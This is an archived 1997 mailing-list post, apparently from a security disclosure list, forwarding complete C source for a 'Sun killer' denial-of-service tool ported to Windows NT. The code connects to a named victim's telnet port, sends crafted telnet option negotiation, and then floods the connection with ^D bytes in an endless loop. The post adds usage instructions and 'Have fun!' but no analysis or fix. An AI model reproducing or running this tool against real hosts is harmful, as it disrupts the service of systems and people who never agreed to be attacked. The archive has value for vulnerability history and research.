Sun killer - NT port

From: Aleph One (aleph1at_private)
Date: Sun Dec 14 1997 - 11:01:49 PST

  • Next message: Alan Cox: "Vulnerabilities in ICQ"

    >From an anonymous contributor. Should compile under UNIX as well.
    ---------- Forwarded message ----------
    /*
        **  To make, if your system is BSD'ish:  gcc <thisfile>
        **       ...if your system is SysV'ish:  gcc -lnsl -lsocket <thisfile>
        **
        **  Usage: a.out <victim's hostname>
        **
        **  Have fun!
        */
    
    #ifdef WIN32
    
    #include <winsock.h>
    #include <stdio.h>
    /*NT doesn't have <arpa/telnet.h>
    * so swipe the BSD header and stick it in your
    * working dir*/
    #include "telnet.h"
    
    #else
        #include <signal.h>
        #include <sys/types.h>
        #include <sys/socket.h>
        #include <netinet/in.h>
        #include <netdb.h>
        #include <arpa/telnet.h>
        #include <string.h>
        #include <unistd.h>
    #endif
    
    #define BUFSIZE 100
    #define DOTS
    
    void catchit(void)
    {
        printf("\nCaught SIGPIPE -- your link may be too slow.\n");
        exit(1);
    }
    
    #ifdef WIN32
    void InitWinsock(void)
    {
            WORD          VersionRequested;
            WSADATA       WsaData;
    
            VersionRequested = MAKEWORD(1, 1);
        if(WSAStartup(VersionRequested, &WsaData) != 0)
            {
                    printf("Could not initialize Winsock\n");
                    exit(-1);
            }
    }
    #endif
    
        int main(int argc, char *argv[])
        {
            unsigned char kludge_telopt[] = {IAC,WONT,TELOPT_TTYPE,IAC,DO,  \
            TELOPT_SGA,IAC,WONT,TELOPT_XDISPLOC,IAC,WONT,TELOPT_NAWS,IAC,WONT, \
            TELOPT_OLD_ENVIRON,IAC,WONT,TELOPT_NEW_ENVIRON,IAC,DO,TELOPT_ECHO};
    
            unsigned char nastybuf[BUFSIZE];
            struct sockaddr_in sin;
            struct servent *sp;
            struct hostent *hp;
            int s;
    
    #ifndef WIN32
            typedef void (*sig_t) (int);
            signal(SIGPIPE,(sig_t)catchit);
    #else
                    InitWinsock();
    #endif
    
            memset(nastybuf,4,BUFSIZE);  /* ascii 4 = ^D */
    
            if (!(s = socket(AF_INET, SOCK_STREAM, 0))) {
                  printf("no socket\n");
                  exit(1);
            }
    
            if (!(hp = gethostbyname(argv[1]))) {
                printf("unknown host\n");
                exit(1);
            }
    
            memset(&sin, 0, sizeof(sin));
            memcpy((char *)&sin.sin_addr, hp->h_addr, hp->h_length);
            sin.sin_family = AF_INET;
            sp = getservbyname("telnet","tcp");
            sin.sin_port = sp->s_port;
    
            if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
                printf("can't connect to host\n");
                exit(1);
            }
    
            printf("connected to %s\n", argv[1]);
            send(s, kludge_telopt, 21, 0);   /* kludge some telnet negotiation */
    
            /*  "Let them eat ^Ds..." */
    
            while (send(s, nastybuf, BUFSIZE, 0) != -1) {
    
        #ifdef DOTS
                putchar('.');
        #endif
            }
                    return 0;
        }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:35:45 PDT